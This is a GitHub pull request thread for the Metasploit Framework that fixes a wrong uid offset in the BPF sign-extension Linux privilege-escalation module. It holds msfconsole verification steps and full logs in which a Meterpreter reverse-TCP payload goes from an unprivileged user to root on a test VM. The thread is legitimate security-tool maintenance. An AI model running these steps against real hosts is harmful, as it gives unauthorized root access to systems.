Fix incorrect offset in BPF sign extension LPE #14279

gblomqvist · 2020-10-18T00:40:49Z

The uid field of the cred struct is normally the second field, followed by the gid field (definition). The first field is of type atomic_t, which has the size of an int. Since the size of an int is usually 4 bytes, the uid is normally located at an offset of 4 bytes from the start of the cred struct, and not 8. Since the uid also is int-sized, the code previously set test_uid to the gid, making the exploit fail for cases where uid != gid.

I discovered this issue after noticing a case where this exploit didn't work while the original exploit did.

The binary was compiled with gcc -o exploit.out exploit.c on a 64-bit system.

Verification

Start msfconsole
use exploit/linux/local/bpf_sign_extension_priv_esc
set SESSION <ID> where ID is the ID of a session with uid not necessarily equal to gid.
run
getuid to verify you got a root session.

The uid field of the cred struct is normally the second field, followed by the gid field. The first field is of type atomic_t, which has the size of an int. Since the size of an int is usually 4 bytes, the uid is normally located at an offset of 4 bytes from the start of the cred struct, and not 8. Since the uid also is int-sized, the code set test_uid to the gid, making the exploit fail for cases where uid != gid.

gwillcox-r7 · 2020-10-19T02:51:02Z

Thanks for the contribution @gblomqvist this makes a lot of sense. We will have to recompile your submission as part of it is a binary update and Rapid7 requires that all binaries are compiled by a Rapid7 employee, but otherwise this should be good to test and then merge if the tests pass.

gblomqvist · 2020-10-19T14:33:10Z

Oh okay, that's understandable. I couldn't find any official information on how you dealt with binaries, and judging by the conversation in the PR recommended in CONTRIBUTING.md I guessed that anyone could compile (although the compilation instructions there don't seem to correspond with how the provided binaries actually are compiled). I see how that would have been weird though. Let me know if you want me to do anything.

gwillcox-r7 · 2020-10-19T15:10:15Z

@gblomqvist No problem its not obvious and your all good 👍

gwillcox-r7 · 2020-10-23T20:45:49Z

Ok initial tests look good and this appears to fix the issue described. Here is what this looks like after the patch is applied, testing on Ubuntu 16.04 x64 fresh install:

msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.21.173.6:4444
[*] Sending stage (3008420 bytes) to 172.21.173.6
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.21.173.6:4444) at 2020-10-23 15:43:04 -0500

meterpreter > getuid
Server username: guest @ test-Virtual-Machine (uid=1001, gid=3000, euid=1001, egid=3000)
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use exploit/linux/local/bpf_sign_extension_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > set SESSION 2 
SESSION => 2
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > show options

Module options (exploit/linux/local/bpf_sign_extension_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION  2                yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.21.161.144   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > run

[*] Started reverse TCP handler on 172.21.161.144:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.8dXwEObi' (250 bytes) ...
[*] Launching exploit ...
[*] Sending stage (3008420 bytes) to 172.21.173.6
[*] Meterpreter session 3 opened (172.21.161.144:4444 -> 172.21.173.6:53316) at 2020-10-23 15:44:01 -0500
[*] Cleaning up /tmp/.8dXwEObi and /tmp/.yQw6X3v3Ti ...

meterpreter > getuid
Server username: root @ test-Virtual-Machine (uid=0, gid=0, euid=0, egid=0)
meterpreter >

gwillcox-r7 · 2020-10-23T20:49:47Z

Yep confirmed this fix works as expected as here is what it looks like without the fix:

msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.21.173.6:4444
[*] Sending stage (3008420 bytes) to 172.21.173.6
[*] Meterpreter session 3 opened (0.0.0.0:0 -> 172.21.173.6:4444) at 2020-10-23 15:48:30 -0500

meterpreter > getuid
Server username: guest @ test-Virtual-Machine (uid=1001, gid=3000, euid=1001, egid=3000)
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > use exploit/linux/local/bpf_sign_extension_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > set SESSION 3 
SESSION => 3
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > show options

Module options (exploit/linux/local/bpf_sign_extension_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION  3                yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.21.161.144   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > exploit

[*] Started reverse TCP handler on 172.21.161.144:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.EvL2nJHhf9' (250 bytes) ...
[*] Launching exploit ...
[*] Cleaning up /tmp/.EvL2nJHhf9 and /tmp/.1WJ8KjDSg2 ...
[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) >

gwillcox-r7 · 2020-10-23T21:05:34Z

Landed 👍 Thanks for the contribution @gblomqvist and congrats on your first Metasploit contribution! Commit 65fcf67 was ninja committed in, and just is me recompiling the binary to meet Rapid7's policy that all binaries must be compiled by Rapid7 employees. Its not explained anywhere publicly as you mentioned so sorry for the confusion (its still a somewhat new change hence why this is probably the case).

I'll write up some release notes for this shortly 👍

gwillcox-r7 · 2020-10-23T21:12:11Z

Original Release Notes

A bug has been fixed in the bpf_sign_extension_priv_esc module whereby the uid field of the cred structure was incorrectly set as being 8 bytes long instead of sizeof(int), or 4 bytes long. This was causing the exploit to use the data from the wrong fields, leading to internal confusion and the rise of a bug whereby the exploit would fail to work if the user ID of the user different than the group ID of the user. This has been fixed by ensuring that the size of the uid field is determined to be sizeof(int), thus preventing this bug from occurring by setting the field sizes to their correct length.

gblomqvist · 2020-10-24T21:51:47Z

Great, thanks! Just a small note regarding the release note, it says:
"...whereby the exploit would fail to work if the user ID of the user was the same as the group ID of the user."
but it should say (e.g.):
"...whereby the exploit would fail to work if the user ID of the user was different from the group ID of the user."

Also, maybe that policy regarding binaries can be added to the CONTRIBUTING.md file?

EDIT: I interpret it as if the policy is rather new. Could anyone compile binaries before that? And have you, the team of Rapid7 employees, recompiled all third-party binaries since then?

gwillcox-r7 · 2020-10-24T23:49:13Z

@jmartin-r7 Would probably be the best person to ask r.e your latter question. As for your request, good spotting, I'll edit that up now 👍

jmartin-tech · 2020-10-26T14:55:37Z

@gblomqvist, the policy on binaries landing to the public repo has been the standard in metasploit-framework for years.

Since the project will be disturbing the file directly from the repository, this ensures both of the following conditions:

all source required has been provided and can be maintained in the future
a trusted signature is on the commit assuring binary file is based on the source provided

I do like the suggestion about documenting the policy. We do have some Acceptance Guidelines in the wiki, however it does not yet have a section about how submitted binaries are validated.

We often comment on the PR as a courtesy to let users know when we need to add a commit as part of the PR landing process.

pbarry-r7 · 2020-10-28T16:41:27Z

Release Notes

Fixed a bug in the exploit/linux/local/bpf_sign_extension_priv_esc module with the cred uid field to make it the correct size, ensuring data will be correctly interpreted.

gwillcox-r7 added bug module labels Oct 19, 2020

gwillcox-r7 self-assigned this Oct 19, 2020

gwillcox-r7 added a commit that referenced this pull request Oct 23, 2020

Land #14279, Fix incorrect offset in BPF sign extension LPE

65fcf67

gwillcox-r7 merged commit c5751a2 into rapid7:master Oct 23, 2020

gwillcox-r7 added the rn-fix release notes fix label Oct 23, 2020

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Fix incorrect offset in BPF sign extension LPE #14279

Fix incorrect offset in BPF sign extension LPE #14279

gblomqvist commented Oct 18, 2020 •

edited

Loading

gwillcox-r7 commented Oct 19, 2020

gblomqvist commented Oct 19, 2020

gwillcox-r7 commented Oct 19, 2020

gwillcox-r7 commented Oct 23, 2020

gwillcox-r7 commented Oct 23, 2020

gwillcox-r7 commented Oct 23, 2020

gwillcox-r7 commented Oct 23, 2020 •

edited by pbarry-r7

Loading

gblomqvist commented Oct 24, 2020 •

edited

Loading

gwillcox-r7 commented Oct 24, 2020

jmartin-tech commented Oct 26, 2020 •

edited

Loading

pbarry-r7 commented Oct 28, 2020

Fix incorrect offset in BPF sign extension LPE #14279

Fix incorrect offset in BPF sign extension LPE #14279

Conversation

gblomqvist commented Oct 18, 2020 • edited Loading

Verification

gwillcox-r7 commented Oct 19, 2020

gblomqvist commented Oct 19, 2020

gwillcox-r7 commented Oct 19, 2020

gwillcox-r7 commented Oct 23, 2020

gwillcox-r7 commented Oct 23, 2020

gwillcox-r7 commented Oct 23, 2020

gwillcox-r7 commented Oct 23, 2020 • edited by pbarry-r7 Loading

Original Release Notes

gblomqvist commented Oct 24, 2020 • edited Loading

gwillcox-r7 commented Oct 24, 2020

jmartin-tech commented Oct 26, 2020 • edited Loading

pbarry-r7 commented Oct 28, 2020

Release Notes

gblomqvist commented Oct 18, 2020 •

edited

Loading

gwillcox-r7 commented Oct 23, 2020 •

edited by pbarry-r7

Loading

gblomqvist commented Oct 24, 2020 •

edited

Loading

jmartin-tech commented Oct 26, 2020 •

edited

Loading